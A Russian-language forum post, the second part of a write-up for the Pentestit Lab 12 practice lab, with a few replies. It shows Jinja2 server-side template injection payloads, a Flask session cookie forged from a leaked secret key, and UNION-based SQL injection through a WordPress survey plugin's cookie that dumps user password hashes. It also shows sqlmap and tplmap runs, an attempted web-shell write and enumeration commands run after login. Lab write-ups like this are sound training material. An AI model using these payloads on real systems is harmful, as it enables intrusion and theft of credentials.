• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

clevergod

Platinum
22.04.2017
119
673
BIT
10
Продолжение первой статьи Врайтап Pentestit Lab 12 - для начинающих (часть 1)

REPOSITORY Token
Мы понимаем, что репозиторий это или Веб-сервис или файловая шара. Ищем...

repository.jpg

http://172.16.1.15/ но нам нужен логин и пароль - закрыто htpasswd.
Bypass .htpasswd не помог.
repository2.jpg

Идем дальше...
________________________________________

SIEM Token
Мы понимаем, что искать нужно веб-морду сервиса. Ищем...
http://172.16.1.12/
pentestit12-siem-prewikka.jpg
нашли сервис Prewikka, это OSSEC-SIEM Prelude-SIEM/prewikka

Пробуем зайти под имеющимися info@test.lab и sviridov@test.lab
Не отканывает...
Пробуем бурпануть логины и пароль
Адски долго....

Знаете первый раз, я подумал верно, но потратил очень много времени чтобы себя самого запутать и пошел не туда... А ларчик просто открывался по аналогии с предыдущими заданиями, только небольшая ремарка - без доменного имени.
pentestit12-siem-prewikka-login.jpg


Находим нерабочие агенты, ошибки выполнения скриптов и т.п.
pentestit12-siem-prewikka-sensors.jpg

pentestit12-siem-prewikka-agentserr.jpg

Внимательно анализируем все логи, может и подсказки есть.
pentestit12-siem_token2.jpg

Находим подсказки Repository сервис admin:тут пароль и там будет токен от репы...
pentestit12-siem_token.jpg

pentestit12-siem_token-stat.jpg


Как Вы видите, мой напарник Антон вернулся в строй, начал догонять и мы снова работаем командой...

Почему я не открываю токены даже в виде изображений, ребята в SIEM системах, как в корреляторах всех событий можно всегда найти кучу всего интересного, осмотритесь сами, примечайте любую информацию, все что тут будет найдено, поможет очень сильно в дальнейшем.
________________________________________
Осталось 9 заданий: Users, Site, My, API, User API, Image, DB, admin, Reverse

Найдя новые хосты, снова редактируем хостс:
Код:
notepad C:\Windows\system32\drivers\etc\hosts
172.16.0.10 site.test.lab
172.16.0.10 my.test.lab
172.16.0.10 helpdesk.test.lab
172.16.0.17 ad.test.lab
172.16.0.17 ns1.test.lab
172.16.2.10 ns2.test.lab
172.16.2.10 dns.test.lab
172.16.0.30 db.test.lab
172.16.0.14 NEW14.test.lab
172.16.1.15 repository.test.lab
172.16.1.10 vpn-admin.test.lab
172.16.1.25 admin.test.lab
172.16.0.55 api2.test.lab
________________________________________

MY Token
http://my.test.lab/login
pentestit12-my.jpg


Логинимся под infо по аналогии с предыдущим заданием.
Видим пустую страницу и форму поиска. Вбиваем token и видим 5 карликовых лошадок.

pentestit12-my_token-info-search.jpg
Думаем, что тут стеганография. Учитывая тот факт, что первая и последняя одинаковые с разным расширением и тратим драгоценное время на попытки поиска стеганографии.

my_pony1-300x199.jpg
my_pony2-300x169.jpeg
my_pony3-300x200.jpeg
my_pony4-300x200.jpeg
my_pony5-300x199.jpeg


Но стеганографии тут не найдено...

Анализируем код, пытаемся осуществить инъекцию в поле поиска. Форма отрабатывает пропуская некоторые уязвимости. WAF Nemesida очень мешает.
Очень долго считаю активной уязвимостью XSS и трачу на попытки эксплуатации и проверки слишком много времени...

Натыкаемся на SSTI инъекцию, проверив расчет через {{2*5}} и в поле вывода получаем расчет.
pentestit12-my_token-ssti.jpg


Что мы здесь видим? Явное исполнение кода(на стороне сервера) внутри песочницы.
В зависимости от используемого шаблонизатора, может стать возможным побег из песочницы и выполнение произвольного кода.
Уязвимость часто возникает из-за того, что разработчики дают возможность пользователю изменять шаблон (некоторые шаблонизаторы предлагают безопасный режим для этих целей).
Все функции, которые используют данные введенные пользователем, могут быть уязвимы, в том числе вики-страницы, ревью и комментарии.
Также, причиной уязвимости может быть то, что пользовательские данные вставляются непосредственно в шаблон.
Нам всего-то нужно подставлять конкретные выражения и следить за ответом сервера. В некоторых случаях одно выражение может приводить к разным ответам сервера (в зависимость от того, какой шаблонизатор используется). Например, {{7*'7'}} вернёт 49 значит если используется Twig, 7777777 - если используется Jinja2 и не вернёт ничего, если шаблонизатор не используется.
Для определения существует блок-схема:
ssti.png

Еще можно без прямого обращения к вэб-странице:

Bash:
curl -g 'http://my.test.lab/?q={{2*%275%27}}'
но нужна авторизация сессии.

Эксплуатация
После того, как мы выяснили какой шаблонизатор используется, следующий наш шаг — чтение документации. Вот ключевые области на которые стоит обратить внимание:
  • раздел «For Template Authors» описывает базовый синтаксис;
  • «Security Considerations» — есть огромный шанс, что разработчики не читали данный раздел;
  • список встроенных функций, методов, переменных;
  • список дополнений/расширений — некоторый из них могут быть включены по умолчанию.
В том случае, если в документации не будет говориться о встроенных переменных, то нам придётся их брутить. Нужные словари находятся в Burp Intruder и FuzzDB.

Я с этим типом уязвимости лично сталкиваюсь впервые, поэтому ушло очень приличное количество времени для поиска информации и чтения документации.
Определим какой тип шаблонизатора у нас:
Pentestit12-MY_Token-SSTI-Jinja2.jpg


Видит ответ 7777777 - значит это Jinja2.
Перепроверяем на шаблонизатор Twig - {{self}} и получаем ответ <TemplateReference None>. Значит точно Jinja.

Нашел автоматизацию на гитхабе epinna/tplmap

Bash:
git clone https://github.com/epinna/tplmap.git

А вот и первый облом автоматизации:
Bash:
./tplmap.py -u 'http://my.test.lab/?q={{2*%275%27}}' --os-shell
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'q' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing blind injection
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Twig plugin is testing blind injection
[+] Freemarker plugin is testing rendering with tag '*'
[+] Freemarker plugin is testing blind injection
[+] Velocity plugin is testing rendering with tag '*'
[+] Velocity plugin is testing blind injection
[+] Slim plugin is testing rendering with tag '"#{*}"'
[+] Slim plugin is testing blind injection
[+] Erb plugin is testing rendering with tag '"#{*}"'
[+] Erb plugin is testing blind injection
[+] Pug plugin is testing rendering with tag '\n= *\n'
[+] Pug plugin is testing blind injection
[+] Nunjucks plugin is testing rendering with tag '{{*}}'
[+] Nunjucks plugin is testing blind injection
[+] Dot plugin is testing rendering with tag '{{=*}}'
[+] Dot plugin is testing blind injection
[+] Dust plugin is testing rendering
[+] Dust plugin is testing blind injection
[+] Marko plugin is testing rendering with tag '${*}'
[+] Marko plugin is testing blind injection
[+] Javascript plugin is testing rendering with tag '*'
[+] Javascript plugin is testing blind injection
[+] Php plugin is testing rendering with tag '*'
[+] Php plugin is testing blind injection
[+] Ruby plugin is testing rendering with tag '"#{*}"'
[+] Ruby plugin is testing blind injection
[+] Ejs plugin is testing rendering with tag '*'
[+] Ejs plugin is testing blind injection
[!][checks] Tested parameters [B]appear to be not injectable[/B].

Пробуем руками
http://my.test.lab/?q={{request}}
pentestit12-my_token-ssti-req.jpg
Отлично, request
возвращает GET запрос, смотрим окружение:
http://my.test.lab/?q={{request.environ}}
pentestit12-my_token-ssti-req.env_.jpg


RCE Инъекция:
http://my.test.lab/?q={{{php}echo 'id';{/php}}}
не приводит к нужному результату, сервак падает.

pentestit12-my_token-ssti-rce.jpg


Листинг директорий %7B%7B9*9%7D%7D[/B] тоже не получается

http://my.test.lab/?q={{config}}
pentestit12-my_token-ssti-config.jpg


Получили '[B]SECRET_KEY': 'UGhldmJoZj8gY▒▒▒▒wYnovcG5lcnJlZg=='

в base64 это Phevbhf? aivfvhz.pbz/pnerref и это Шифр Цезаря Curious? и походит на рекламу

Цезарь.jpg


http://my.test.lab/?q={{url_for.__globals__}}
Дает интересную картину:
pentestit12-my_token-ssti-globals.jpg

http://my.test.lab/?q={{url_for.__globals__.current_app.config}}
А вот этот запрос выдает обычный config.

http://my.test.lab/?q={{request[request.args.param]}}&param=__class__
http://my.test.lab/?q={{self.__dict__}}
Запросы формируем и пытаемся найти RCE. Но все что мы пробуем WAF Nemesida рубит на корню.

Воспользуемся скриптом noraj/flask-session-cookie-manager

Bash:
python2 session_cookie_manager.py encode -s 'UGhldmJoZj8gY▒▒▒▒wYnovcG5lcnJlZg==' -t '{"role": u"admin"}'
coockie.png


Интересно, eyJyb2xlIjoiYWRtaW4ifQ.DxKl4w.HXIxk2h1dHJQfINRWFxRV8Jh_G4 что это и зачем потратил время незнаю.

В итоге немного поигравшись, находим токен.
pentestit12-my_token-stat.jpg


Нашел даже отчет из HackerOne, где исследователю удалось найти SSTI в Uber.

Выводы
Уязвимость SSTI действительно очень опасная, так как с её помощью мы можем добиться RCE.
Обнаружить уязвимость очень просто при опыте, но достаточно сложно впервые (хотя часто её можно перепутать с XSS), а вот поиск/разработка полезной нагрузки - очень трудоёмкий процесс (правда, не во всех случаях).
Для меня лично второй по сложности пока что токен, остальные брались немного легче.
________________________________________

USERS Token
У нас есть самая богатая подсеть 192.168.0.0/24 см. карту...

Сканим хосты найденные недавно, пробуем зайти под 445 портами, и под 22 под всеми уже имеющимеся юзерами.
pentestit12-map.jpeg
Входим в каждый хост по ssh по аналогии с другими заданиями под имеющимися юзерами.

Bash:
login as: sviridov
sviridov@192.168.0.100's password:
Warning: Your password will expire in 971 days on Sat Sep 4 18:48:18 2021
Linux lomonosov 4.9.0-8-amd64 /1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
Last login: Sun Jan 6 19:33:33 2019 from 10.12.0.30
////
PasswordAuthentication yes
////
sviridov@lomonosov:~$ uname -a
Linux lomonosov 4.9.0-8-amd64 /1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Li nux
sviridov@lomonosov:~$ id
uid=10002(sviridov) gid=10004(domain users) groups=10004(domain users),10001(BUILTIN\users)
sviridov@lomonosov:~$ ifconfig
-bash: ifconfig: command not found
sviridov@lomonosov:~$ cat /etc/issue
Debian GNU/Linux 9 \n \l

sviridov@lomonosov:~$ cat /proc/version
Linux version 4.9.0-8-amd64 (debian-kernel@lists.debian.org) (gcc version 6.3.0 20170516 (Debian 6.3.0-18+deb9u1) ) /1 SMP Debian 4.9.130-2 (2018-10-27)
sviridov@lomonosov:~$ ls /boot | grep vmlinuz-
vmlinuz-4.9.0-3-amd64
vmlinuz-4.9.0-4-amd64
vmlinuz-4.9.0-8-amd64

USER-TMP.jpg


Ознакамливаемся с мусором, скрипты, логи. Много кто "намусорил", пробуем понять что это и для чего.
Bash:
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin
_apt:x:108:65534::/nonexistent:/bin/false

Тратим время и в итоге находим вектор:
Bash:
ls -ahlR /home/
192.168.0.100.jpg


Bash:
cd /home/TEST/
find | grep token
cat /sidorov/.token
192.168.0.100-2.jpg

Вся засада в том, что на отдельном хосте при настройке прав доступа админ совершил ошибку...
Ну и этот токен был не сложен...

Bash:
sviridov@lomonosov:~$ cat /etc/ssh/ssh_host_dsa_key.pub
ssh-dss AAAAB3NzaC1kc3MAAACBANWhH41B9vYEwYwzmSRFuV38J3brfbI+8P9y47WOFDw6w2Zc5iWeieO0Rg2R1SswyxltSkqt5GAirko3yZxpFRyfa6VBNQRM3e3aeicz9wIZDnirnIoe/fmJTc+Jln6kaaW/FnsAulTb7nO6Ak16CToRMkv2yRtwms0Aoth8Ckb3AAAAFQDiU4lvoIS5rH1tfQk5HxRJkTYWQQAAAIAGb2LETs9syV1bV6reCVFP4GdxuA9pBzjsVjQ2oLlOAWC6s9XnJuwbQ4JeBKlfv1Cr5R2ucHzDDJLeq7IQsf0DgUa03JCCt+Fb79D2GHxq6RLFh/zXXpZtU4DM1vNJ/a/TLZdXK/uz7qIE6QbXGxOXMsLfDYR5Chb7j1lCvstMnAAAAIBgNZdrc57ufwRJqx2+UBllI1yM4dZ4B2tJStU9jDcr+kQwSfJr2skwUmheo02FoKMZx6ddnnP/UymyMqt0438HMcqcwRGeOSrzEwRpu7RrLyrQxjAPbbKvxSezSkm6p/C1wb4UH/aEutFNRn/kXRLVAuf0/9bZEm8JrulWFvK5+w== root@agorokhov
sviridov@lomonosov:~$ cat /etc/ssh/ssh_host_rsa_key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAAE6rU3Y9evVByyJiu6UW7vWJ6KP29UZkvRAFn8Q4qcdyBzPEHpZeuJydqmhzW8/8MJ0SD9Fy/5nUOaFoLLvJgeO31v52j/E+nD4F7pdjA83bYWWkuvdoHN0kzAt9STwzNEva3zhqgsK+z/1AxqBCo7jwAvJpcomlEH6/lSxcSVlWTDC5/t7+YXAhiSEQf6lJiBAL5lmqExtM6Nf7T+uRFzc+xCtbI89a163iNWuos6Jb2qCpf/2JGc/f8RicPWmXFpWXlFDuajQL6fsrJ6DG+/Vgp9vMoBqovbmMThb4AHeOonbadpZif/nKJpxEMohHbvLQhb/RJUh4CXOFaX7v root@agorokhov
sviridov@lomonosov:~$ find / -perm -1000 -type d 2>/dev/null
/tmp
/tmp/.font-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.ICE-unix
/run/lock
/dev/mqueue
/dev/shm
/var/tmp
/var/spool/cron/crontabs
/var/spool/cron/atjobs
/var/spool/cron/atspool
/var/spool/samba
/var/lib/samba/usershares
sviridov@lomonosov:~$ find / -perm -g=s -type f 2>/dev/null
/sbin/unix_chkpwd
/usr/bin/procmail
/usr/bin/expiry
/usr/bin/mutt_dotlock
/usr/bin/mlocate
/usr/bin/at
/usr/bin/bsd-write
/usr/bin/dotlockfile
/usr/bin/crontab
/usr/bin/lockfile
/usr/bin/chage
/usr/bin/ssh-agent
/usr/bin/wall
sviridov@lomonosov:~$ find / -writable -type d 2>/dev/null
/tmp
/tmp/.font-unix
/tmp/USER
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.ICE-unix
/proc/1549/task/1549/fd
/proc/1549/fd
/proc/1549/map_files
/run/user/10002
/run/user/10002/gnupg
/run/user/10002/systemd
/run/user/10002/systemd/transient
/run/lock
/sys/fs/cgroup/systemd/user.slice/user-10002.slice/user@10002.service
/sys/fs/cgroup/systemd/user.slice/user-10002.slice/user@10002.service/init.scope
/dev/mqueue
/dev/shm
/var/tmp
/var/spool/samba
________________________________________
Мы прошли уже 54% лабы и осталось 7 заданий: Site, API, User API, Image, DB, admin, Reverse
________________________________________

SITE Token
Только сейчас мы возвращается к одному из самых первых сервисов, который мы обнаружили в самом начале.
Найдя информацию в SIEM мы понимаем, что site отдает свою рожу на 3 ip-адреса, добавляем данные в хостс:

Bash:
notepad C:\Windows\system32\drivers\etc\[B]hosts
[/B]
172.16.0.14 site.test.lab
172.16.0.10 site.test.lab
172.16.0.10 my.test.lab
172.16.0.10 helpdesk.test.lab
172.16.0.17 ad.test.lab
172.16.0.17 ns1.test.lab
172.16.2.10 ns2.test.lab
172.16.2.10 dns.test.lab
172.16.0.30 db.test.lab
172.16.1.15 repository.test.lab
172.16.1.10 vpn-admin.test.lab
172.16.1.25 admin.test.lab
172.16.0.55 api2.test.lab
Когда мы добавим нужный IP адрес, мы начнем наблюдать такую картину:

site-error.jpg


Ранее у нас были варианты:
http://site.test.lab/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498
http://site.test.lab/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498"%20-p%20survey_id%20--dbms=MariaDB
http://site.test.lab/index.php?option=com_ponygallery&Itemid=x&func=viewcategory&catid=+UNION+SELECT+1,2,3,4,0,concat(0x1e,username,0x3a,password,0x1e,0x3a,usertype,0x1e),5,0,0+FROM+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72--

Но как мы помним из предыдущих рассказов - легких путей больше нет...
Пробуем воспользоваться ранее обнаруженной SQL инъекцией.

Инъекция не классифицирована в CVE, но перечислена в и была обнаружена 09.09.2018 и представляет из себя возможность выполнения произвольного кода путем подброса плагину опроса в параметре Cookie wp_sap

site-step1-answer.jpg


Мы сэнумерейтили инфу о плагине:


Судя по мануалу к эксплуатации необходимо:
1. Зайти на сайт и ответить на опрос.
2. Подменить значение wp_sap на ["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]
3
. Обновить страницу и в исходном коде наблюдать версию БД. Дальше на что фантазии хватит.

Покажу для наглядности различный вариант решения имеющейся задачи:

1. Mozilla Firefox

site-step2-change_wp-sap.jpg


2. Burp Suite
Сам запрос строим так:

Bash:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: site.test.lab
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://site.test.lab/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 123
Connection: close
Cookie: wp_sap=["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,current_user,11#"]
action=ajax_survey_answer&sspcmd=save&options=%5B%7B%22sid%22%3A%22242178939%22%2C%22qid%22%3A1%2C%22aid%22%3A%221%22%7D%5D
site-step1-burp.jpg


Мы получаем версию БД:
site-step2-result_wp-sap.jpg
10.1.37-MariaDB-0+deb9u1

Следующие и подобные инъекции не прошли:
  • 1 and 1=if(load_file('/etc/passwd') is not NULL,1,2)--+
  • select username from users where username=1 and if((select concat(version(),0x3a,'<? php code ?>') into outfile '/usr/home/www/test.php'),1,2)=1
по факту мы можем только вываливать инфу, а залить шелл не получается, ну или у меня лично конечно.

Давайте вспомним какие типы инъекций мы еще можем сделать:
Переменная / Функция Вывод
@@hostname Текущее имя хоста
@@tmpdir Директория для временных файлов
@@datadir Директория с базами данных
@@version Версия БД
@@basedir Базовая директория
user() Текущий пользователь
database() Текущая база данных
version() Версия
schema() Текущая база данных
UUID() Ключ системного UUID
current_user() Текущий пользователь
current_user Текущий пользователь
system_user() Текущий системный пользователь
session_user() Сессионный пользователь
@@version_comment
@@log_error
@@GLOBAL.have_symlink Проверка, включены или отключены симлинки
@@GLOBAL.have_ssl Проверка, имеется SSL или нет

Таким образом парсим данные. В итоге, Мы определили:
Путь до БД: /var/lib/mysql
Вресию :10.1.37-MariaDB-0
ОС: Debian 7.6
Директория: /usr/
user: wordpress
system_user: admin@localhost
UUID: d123efe8-0c25-11e9-9d61-080027a476d0
Путь до лога ошибок: /var/log/mysql/error.log
Пароль админа/хеш: admin:$P$B9X4nnQRqJZ6IJISA63PvigcudS2wz1

Еще выявлена непонятная реакция на один запрос:
wp_sap=["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,version()11#"]
site-step2-result_version.jpg


Скульмапом не удалось найти брешь. Вообще от себя могу сказать, что практически все попытки автоматизации приводят к отказу. Организаторы постарались сделать так, чтобы мы с Вами поднимали свой практический навык путем понимания предмета, а не умением пользоваться сканерами уязвимостей и за это им Огромное СПАСИБО!

Bash:
sqlmap -u "http://site.test.lab/" --cookie="wp_sap=%5B%221650149780*%29%29" --level=5 --risk=3 -b --technique=U --dbms MySQL --random-agent
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:04:28 /2018-12-30/

[21:04:36] [INFO] testing connection to the target URL
do you want to URL encode cookie values (implementation specific)? [Y/n] y
[21:04:42] [WARNING] heuristic (basic) test shows that (custom) HEADER parameter 'Cookie /1*' might not be injectable
[21:04:43] [INFO] testing for SQL injection on (custom) HEADER parameter 'Cookie /1*'
[21:04:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

Запрос пароля:
["1650149780')) OR 1=1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,concat(user_login,0x3a,user_pass),11 from wp_users#"]
site-step2-result_admin-passwd.jpg


Пробуем найти в таблицах по словосочетанию токен:
["1650149780')) OR 1=2 union all select 1,2,3,4,5,6,7,8,9,convert(name, char),11 from token#"]
Токен найден.
pentestit12-site_token-stat.jpg


Хоть токен и найден, так же есть юзер и хэш пароля, нужно найти еще токен БД. Но явно не в этой БД, а на хосте db.test.lab (172.16.0.30) на который пока нет доступа, и мы не видим даже портов открытых...

pentestit12-6_token-stat.jpg


Ну, что вот мы и закончили 2 часть врайтапа и приступим к 3 части...
 
Последнее редактирование:

explorer

Platinum
05.08.2018
1 081
2 474
BIT
14
Отличная работа! И прохождение и обзор (y) спасибо!
Буквально пару дней назад в школе Codeby задачи по SSTI выкладывали. Тоже понравилось прохождение :)
 

Хлебушек

Green Team
19.11.2018
52
50
BIT
0
Достойно! Почитал с большим удовольствием.

А вот и первый облом автоматизации:
Сужу только исходя из прочитанного (лабу не проходил), вероятно ты забыл указать куки для tplmap.
Ранее ты сам написал:
но нужна авторизация сессии.
 

clevergod

Platinum
22.04.2017
119
673
BIT
10
Достойно! Почитал с большим удовольствием.


Сужу только исходя из прочитанного (лабу не проходил), вероятно ты забыл указать куки для tplmap.
Ранее ты сам написал:
Спасибо за теплые слова. За замечание тоже. Да действительно я немного был не в форме проходя лабу, температура 39 и векторы уже как каша в голове путались.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!